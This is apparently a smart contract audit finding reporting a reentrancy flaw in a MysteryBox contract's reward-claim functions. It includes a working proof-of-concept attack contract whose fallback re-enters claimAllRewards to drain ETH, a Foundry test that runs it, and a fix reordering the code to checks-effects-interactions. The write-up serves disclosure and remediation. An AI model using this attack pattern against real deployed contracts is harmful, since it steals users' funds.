Summary
Both claim functions have reentrancy vulnerabilities, as they don't follow CEI, deleting the user reward after sending eth.
Vulnerability Details
To corroborate the issue you may add the following attack contract to TestMysteryBox.t.sol.
contract Attack{
MysteryBox public misteryBox;
constructor(address _misteryBox) payable {
misteryBox = MysteryBox(_misteryBox);
}
function buyAndOpenBox() external {
misteryBox.buyBox{value: 0.1 ether}();
misteryBox.openBox();
misteryBox.claimAllRewards();
}
function attack() public {
misteryBox.claimAllRewards();
}
fallback() external payable{
if (address(misteryBox).balance >= 0.1 ether){
attack();
}
}
}
Then you should add the following function within MysteryBoxTest
function testReentrency() public {
Attack attack;
vm.deal(user1, 1 ether);
vm.warp(7);
vm.prank(user1);
attack = new Attack{value: 0.1 ether}(address(mysteryBox));
attack.buyAndOpenBox();
}
Impact
The funds of the contract can be completely drained by malicious user.
Tools Used
Manual review
Recommendations
Reorder the claim functions' lines of code to follow CEI as follows:
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}